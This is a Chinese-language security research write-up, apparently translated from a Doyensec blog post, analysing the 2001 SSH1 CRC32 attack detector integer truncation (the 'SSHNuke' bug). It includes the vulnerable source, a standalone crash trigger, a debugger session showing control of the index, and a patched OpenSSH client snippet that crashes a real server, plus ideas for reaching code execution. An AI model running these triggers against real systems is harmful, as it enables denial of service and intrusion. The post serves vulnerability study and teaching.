引言
如果你刚刚关注我们的系列，Doyensec团队正在地中海游轮上度假放松。第一部分介绍了我们在IoT ARM漏洞利用方面的探索，而本篇将尝试利用历史上最著名的漏洞之一：2001年的SSHNuke，也就是电影《黑客帝国：重装上阵》中Trinity使用的漏洞。
历史背景
1998年，Ariel Futoransky和Emiliano Kargieman发现SSH协议存在根本性缺陷，攻击者可以注入密文。因此，SSH协议添加了crc32校验和来检测此类攻击。
2001年2月8日，Michal Zalewski在Bugtraq邮件列表中发布了名为"SSH守护进程crc32补偿攻击检测器的远程漏洞"的公告（CAN-2001-0144）。这个crc32实现存在独特的内存破坏漏洞，可导致任意代码执行。
直到6月份，TESO Security才发布了关于其编写的漏洞利用程序泄露的声明。这表明在6月之前没有可靠的公开漏洞利用程序。TESO知道6个私有漏洞利用程序，包括他们自己的。
值得注意的是，第一个主要的操作系统级内存破坏缓解措施（ASLR）直到2001年7月才发布。缺乏公开漏洞利用程序可能与该漏洞的新颖性有关。
《黑客帝国：重装上阵》于2001年3月开始拍摄，2003年5月上映。令人印象深刻的是，他们为电影选择了这样一个出色的漏洞，来自当代最著名的黑客之一。
实践尝试
构建漏洞利用环境通常很枯燥。在海上没有互联网的情况下，尝试构建20年前的软件简直是噩梦。当我们的一些团队成员致力于此时，我们将漏洞移植到了一个独立的main.c文件中，任何人都可以在任何现代（甚至旧）系统上轻松构建。
你可以从github获取它，使用gcc -g main.c编译，然后跟随我们的分析。
漏洞分析
这是你尝试自己发现漏洞的最后机会。漏洞的核心在以下源代码中：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
/* 检测数据包上的crc32补偿攻击 */
int
detect_attack(unsigned char *buf, u_int32_t len, unsigned char *IV)
{
static u_int16_t *h = (u_int16_t *) NULL;
static u_int16_t n = HASH_MINSIZE / HASH_ENTRYSIZE; // DOYEN 0x1000
register u_int32_t i, j;
u_int32_t l;
register unsigned char *c;
unsigned char *d;
if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) || // DOYEN len > 0x40000
len % SSH_BLOCKSIZE != 0) { // DOYEN len % 8
fatal("detect_attack: bad length %d", len);
}
for (l = n; l < HASH_FACTOR(len / SSH_BLOCKSIZE); l = l << 2)
;
if (h == NULL) {
debug("Installing crc compensation attack detector.");
n = l;
h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE);
} else {
if (l > n) {
n = l;
h = (u_int16_t *) xrealloc(h, n * HASH_ENTRYSIZE);
}
}
|
这段代码确保h缓冲区及其大小n得到适当管理。这段代码至关重要，因为它对每个加密消息都会运行。为了防止重新分配，h和n被声明为static。xmalloc将在第一次调用时初始化h的内存。后续调用测试len是否对于n来说太大 - 如果是，则执行xrealloc。
你发现漏洞了吗？我的第一个想法是xmalloc(n * HASH_ENTRYSIZE)或其对应的xrealloc(h, n * HASH_ENTRYSIZE)中存在整数溢出。这是错误的！
由于对n的限制，这些值无法溢出。然而，这些限制最终成为了真正的漏洞。我很好奇Zalewski是否也走了这条路。
变量n在早期被声明（C99规范）为16位值（static u_int16_t），而l是32位（u_int32_t）。因此，如果l大于0xffff，在n = l时会发生潜在的整数溢出。我们能让l大到足以溢出吗？
1
2
|
for (l = n; l < HASH_FACTOR(len / SSH_BLOCKSIZE); l = l << 2)
;
|
这个神秘的代码行是我们设置l的唯一机会。它最初将l设置为n。记住n代表h的静态大小。所以l就像一个临时变量，用于检查n是否需要调整。每次这个for循环运行时，l都会左移2位（l << 2）。这实际上每次迭代都将l乘以4。我们知道l最初是0x1000，所以经过一次循环后它将变为0x4000。再次循环后变为0x10000。这个0x10000值转换为u_int16_t时会溢出并结果为0。所以所有可能的n值是0x1000、0x4000和0。上述循环的任何进一步迭代都会将0位移为0。
当l < HASH_FACTOR(len / SSH_BLOCKSIZE)时循环运行。HASH_FACTOR宏只是将len乘以3/2。所以通过一些数学计算，我们知道len需要为0x15560或更多，才能循环两次。我们可以通过添加以下代码来使用main.c验证这一点（或使用git repo的cheat分支）。
1
2
3
4
5
6
7
8
9
10
11
12
13
|
int main() {
size_t len = 0x15560;
unsigned char *buf = malloc (len);
memset(buf, 'A', len);
// 调用易受攻击的函数
int i = detect_attack(buf, len, NULL);
free (buf);
printf("returned %d\n", i);
return 0;
}
|
然后在我们的Mac上使用lldb调试它。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
|
$ gcc -g main.c
$ lldb ./a.out
(lldb) target create "./a.out"
Current executable set to 'a.out' (arm64).
(lldb) source list -n detect_attack
File: main.c
...
165 int
166 detect_attack(unsigned char *buf, u_int32_t len, unsigned char *IV)
167 {
168 static u_int16_t *h = (u_int16_t *) NULL;
169 static u_int16_t n = HASH_MINSIZE / HASH_ENTRYSIZE;
170 register u_int32_t i, j;
171 u_int32_t l;
(lldb)
172 register unsigned char *c;
173 unsigned char *d;
174
175 if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||
176 len % SSH_BLOCKSIZE != 0) {
177 fatal("detect_attack: bad length %d", len);
178 }
179 for (l = n; l < HASH_FACTOR(len / SSH_BLOCKSIZE); l = l << 2)
180 ;
181
182 if (h == NULL) {
(lldb)
(lldb) b 182
Breakpoint 1: where = a.out`detect_attack + 200 at main.c:182:6, address = 0x0000000100003954
(lldb) r
Process 7691 launched: 'a.out' (arm64)
Process 7691 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000100003954 a.out`detect_attack(buf="AAAAAAAAAAAAAAAAAAAAAA....
179 for (l = n; l < HASH_FACTOR(len / SSH_BLOCKSIZE); l = l << 2)
180 ;
181
-> 182 if (h == NULL) {
183 debug("Installing crc compensation attack detector.");
184 n = l;
185 h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE);
Target 0: (a.out) stopped.
(lldb) p/x l
(u_int32_t) 0x00010000
(lldb) p/x l & 0xffff
(u_int32_t) 0x00000000
(lldb) n
Process 7691 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = step over
frame #0: 0x0000000100003970 a.out`detect_attack(buf="AAAAAAAAAAAAAAAAAAAAAAAAA...
180 ;
181
182 if (h == NULL) {
-> 183 debug("Installing crc compensation attack detector.");
184 n = l;
185 h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE);
186 } else {
Target 0: (a.out) stopped.
(lldb) n
Process 7691 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = step over
frame #0: 0x0000000100003974 a.out`detect_attack(buf="AAAAAAAAAAAAAAAAAAAAAAAAAAA...
181
182 if (h == NULL) {
183 debug("Installing crc compensation attack detector.");
-> 184 n = l;
185 h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE);
186 } else {
187 if (l > n) {
Target 0: (a.out) stopped.
(lldb) n
Process 7691 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = step over
frame #0: 0x0000000100003980 a.out`detect_attack(buf="AAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
182 if (h == NULL) {
183 debug("Installing crc compensation attack detector.");
184 n = l;
-> 185 h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE);
186 } else {
187 if (l > n) {
188 n = l;
Target 0: (a.out) stopped.
(lldb) p/x n
(u_int16_t) 0x0000
|
上面的最后一行显示，在n = l之后，n为0。如果我们继续代码，这个原因很快就会变得明显。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
(lldb) c
Process 7691 resuming
Process 7691 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x600082d68282)
frame #0: 0x0000000100003c78 a.out`detect_attack(buf="AAAAA...
215 h[HASH(IV) & (n - 1)] = HASH_IV;
216
217 for (c = buf, j = 0; c < (buf + len); c += SSH_BLOCKSIZE, j++) {
-> 218 for (i = HASH(c) & (n - 1); h[i] != HASH_UNUSED;
219 i = (i + 1) & (n - 1)) {
220 if (h[i] == HASH_IV) {
221 if (!CMP(c, IV)) {
Target 0: (a.out) stopped.
(lldb) p/x i
(u_int32_t) 0x41414141
(lldb) p/x h[i]
error: Couldn't apply expression side effects : Couldn't dematerialize a result variable: couldn't read its memory
|
我们得到了一个崩溃，显示我们注入的A为0x41414141。
崩溃分析
崩溃发生是因为检查h[0x41414141] != HASH_UNUSED（下面的[0]）命中了无效内存。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
for (c = buf, j = 0; c < (buf + len); c += SSH_BLOCKSIZE, j++) {
for (i = HASH(c) & (n - 1); h[i] /*<- [0]*/ != HASH_UNUSED;
i = (i + 1) & (n - 1)) {
if (h[i] == HASH_IV) {
if (!CMP(c, IV)) {
if (check_crc(c, buf, len, IV))
return (DEATTACK_DETECTED);
else
break;
}
} else if (!CMP(c, buf + h[i] * SSH_BLOCKSIZE)) {
if (check_crc(c, buf, len, IV))
return (DEATTACK_DETECTED);
else
break;
}
}
h[i] = j; // [1] 任意写入!!!
}
|
如果h[i]是一个可读的偏移量呢？经过一些检查后，我们会到达[1]，其中h[i] = j。注意j是循环中的迭代次数，我们可以通过缓冲区长度控制它。i是我们的0x41414141，我们可以控制它。因此，我们最终在循环中获得了写-什么-在哪里的原语。
攻击真实系统！
此时，我们有了一个正常工作的OpenSSH服务器设置。我们需要通过SSH协议1发送我们的缓冲区。我们找不到能够与如此过时、损坏的协议一起工作的SSH Python客户端。预期的解决方案是修补OpenSSH加密内容，使其成为简单的套接字连接。
相反，我们修补了源代码附带的OpenSSH客户端。似乎真正的漏洞利用作者可能采取了类似的方法。
使用一个小技巧很容易找到修补位置。使用gdb在SSH服务器应用程序中的易受攻击的detect_attack函数上设置断点。然后使用gdb调试连接到服务器的客户端。服务器在断点处挂起，导致客户端挂起，等待数据包的响应。在客户端中按Ctrl+C，我们就位于发送到服务器的第一个易受攻击数据包的响应处理程序中。因此，我们进行了以下修补。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
{
// DOYENSEC
// 构建利用服务器的数据包
packet_start(SSH_MSG_IGNORE); // 应该什么都不做
int dsize = 0x15560 - 0x10; // -0x10 因为他们为我们添加了crc
char *buf = malloc (dsize);
memset(buf, 'A', dsize - 1);
buf[dsize] = '\x00';
packet_put_string(buf, dsize);
packet_send();
packet_write_wait();
}
/* 发送要在服务器上登录的用户名。 */
packet_start(SSH_CMSG_USER);
packet_put_string(server_user, strlen(server_user));
packet_send();
packet_write_wait();
|
运行这个修补的客户端得到了与main.c中相同的崩溃。
后续方向
理解这个漏洞利用原语有很多弱点很重要。h缓冲区是一个u_int16_t *。在小端系统上，你无法将任意值写入(char *)h + 0。除非你设置j的高位。要能够设置j的所有高位，你需要能够循环0x10000次。
1
|
for (c = buf, j = 0; c < (buf + len); c += SSH_BLOCKSIZE, j++) {
|
循环每次遍历8（SSH_BLOCKSIZE）字节来递增j一次。我们需要一个大小为0x80000的缓冲区来实现这一点。以下检查限制我们只能写入所有可能j值的一半。
1
2
3
4
|
if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) || // len > 0x40000
len % SSH_BLOCKSIZE != 0) {
fatal("detect_attack: bad length %d", len);
}
|
此外，如果你想将相同的值写入两个位置，你必须在没有崩溃的情况下两次调用易受攻击的函数。但是一旦你导致静态n为0，它在下一次重新进入时保持为0。这将导致l位移循环无限循环。无论它尝试多少次，位移0都不会使其足够大来处理你的缓冲区长度。你可以通过使用任意写入将n设置为任何具有单个位的值（即0x1、0x2、0x4…）来绕过这一点。如果你使用任何其他值（即0x3），那么循环的数学计算可能会有所不同。
所有这些甚至没有考虑到detect_attack函数之外等待的挑战。如果校验和失败，你会失去会话吗？如果密文（你的缓冲区）解密失败会发生什么？
所有这些都会影响你选择实现RCE的路径。Trinity的漏洞利用用新的任意字符串覆盖了root密码。也许这是通过将记录器指向/etc/passwd实现的？与shellcode相比，这样做有什么优势？破坏身份验证流程并将"已认证"位从false翻转为true怎么样？你能覆盖内存中的客户端公钥，使其RSA指数为0吗？有这么多有趣的选项可以尝试。
你能制作一个绕过ASLR的漏洞利用程序吗？
结论
我们的目标是使修补过的OpenSSH崩溃。考虑到可用的时间和资源，我们超出了自己的期望，通过控制使未修补的OpenSSH崩溃。这归功于团队合作和漏洞利用过程中的创造性时间节省。在整个过程中有大量的理论构建，帮助我们避免了时间陷阱。最重要的是，我们玩得很开心。